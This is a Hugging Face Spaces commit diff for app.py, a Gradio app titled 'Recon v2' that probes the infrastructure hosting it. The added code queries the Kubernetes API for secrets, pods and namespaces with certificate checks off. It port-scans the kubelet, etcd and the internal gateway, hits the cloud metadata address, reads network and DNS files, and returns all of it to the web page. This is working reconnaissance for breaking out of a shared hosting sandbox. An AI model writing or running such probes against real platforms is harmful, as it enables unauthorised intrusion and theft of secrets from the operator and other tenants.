Spaces:
Sleeping
Sleeping
deeper k8s probe
Browse files
app.py
CHANGED
|
@@ -2,26 +2,70 @@ import os,subprocess,json,socket,gradio as gr
|
|
| 2 |
|
| 3 |
def recon():
|
| 4 |
r={}
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 8 |
try:
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
except Exception as e: r[f"
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 26 |
|
| 27 |
-
gr.Interface(fn=recon,inputs=None,outputs="text",title="Recon").launch()
|
|
|
|
| 2 |
|
| 3 |
def recon():
|
| 4 |
r={}
|
| 5 |
+
|
| 6 |
+
# Get K8s service info from env
|
| 7 |
+
k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
|
| 8 |
+
k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
|
| 9 |
+
r["k8s_env"] = {k:v for k,v in os.environ.items() if "KUBERNETES" in k}
|
| 10 |
+
|
| 11 |
+
# Try K8s API
|
| 12 |
+
if k8s_host:
|
| 13 |
+
for path in ["/version", "/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets", "/apis", "/healthz"]:
|
| 14 |
+
try:
|
| 15 |
+
url = f"https://{k8s_host}:{k8s_port}{path}"
|
| 16 |
+
p = subprocess.run(["curl","-sk","-m","3",url], capture_output=True, text=True, timeout=5)
|
| 17 |
+
r[f"k8s{path}"] = p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
|
| 18 |
+
except Exception as e: r[f"k8s{path}"] = str(e)
|
| 19 |
+
|
| 20 |
+
# Probe internal network on common ports
|
| 21 |
+
r["port_scan"] = {}
|
| 22 |
+
targets = [
|
| 23 |
+
(k8s_host, 443, "k8s_api"),
|
| 24 |
+
(k8s_host, 10250, "kubelet"),
|
| 25 |
+
(k8s_host, 2379, "etcd"),
|
| 26 |
+
("10.0.0.1", 80, "gateway"),
|
| 27 |
+
("10.0.0.1", 443, "gateway_https"),
|
| 28 |
+
]
|
| 29 |
+
for host, port, name in targets:
|
| 30 |
+
if not host: continue
|
| 31 |
try:
|
| 32 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 33 |
+
s.settimeout(2)
|
| 34 |
+
rc = s.connect_ex((host, port))
|
| 35 |
+
r["port_scan"][f"{name}({host}:{port})"] = "OPEN" if rc == 0 else f"CLOSED rc={rc}"
|
| 36 |
+
s.close()
|
| 37 |
+
except Exception as e: r["port_scan"][f"{name}({host}:{port})"] = str(e)
|
| 38 |
+
|
| 39 |
+
# Check iptables/network restrictions
|
| 40 |
+
try:
|
| 41 |
+
p = subprocess.run(["curl","-sv","-m","3","http://169.254.169.254/"], capture_output=True, text=True, timeout=5)
|
| 42 |
+
r["metadata_verbose"] = {"stdout": p.stdout[:200], "stderr": p.stderr[:300]}
|
| 43 |
+
except Exception as e: r["metadata_verbose"] = str(e)
|
| 44 |
+
|
| 45 |
+
# Check /proc/net/tcp for listening sockets
|
| 46 |
+
try:
|
| 47 |
+
with open("/proc/net/tcp") as f:
|
| 48 |
+
r["listening_sockets"] = f.read()[:500]
|
| 49 |
+
except Exception as e: r["listening_sockets"] = str(e)
|
| 50 |
+
|
| 51 |
+
# Check /etc/resolv.conf for DNS config
|
| 52 |
+
try:
|
| 53 |
+
with open("/etc/resolv.conf") as f:
|
| 54 |
+
r["resolv_conf"] = f.read()
|
| 55 |
+
except Exception as e: r["resolv_conf"] = str(e)
|
| 56 |
+
|
| 57 |
+
# Check /etc/hosts
|
| 58 |
+
try:
|
| 59 |
+
with open("/etc/hosts") as f:
|
| 60 |
+
r["hosts"] = f.read()
|
| 61 |
+
except Exception as e: r["hosts"] = str(e)
|
| 62 |
+
|
| 63 |
+
# Scan for other pods on the same network
|
| 64 |
+
try:
|
| 65 |
+
p = subprocess.run(["ip","addr"], capture_output=True, text=True, timeout=5)
|
| 66 |
+
r["ip_addr"] = p.stdout[:500]
|
| 67 |
+
except Exception as e: r["ip_addr"] = str(e)
|
| 68 |
+
|
| 69 |
+
return json.dumps(r, indent=2)
|
| 70 |
|
| 71 |
+
gr.Interface(fn=recon, inputs=None, outputs="text", title="Recon v2").launch()
|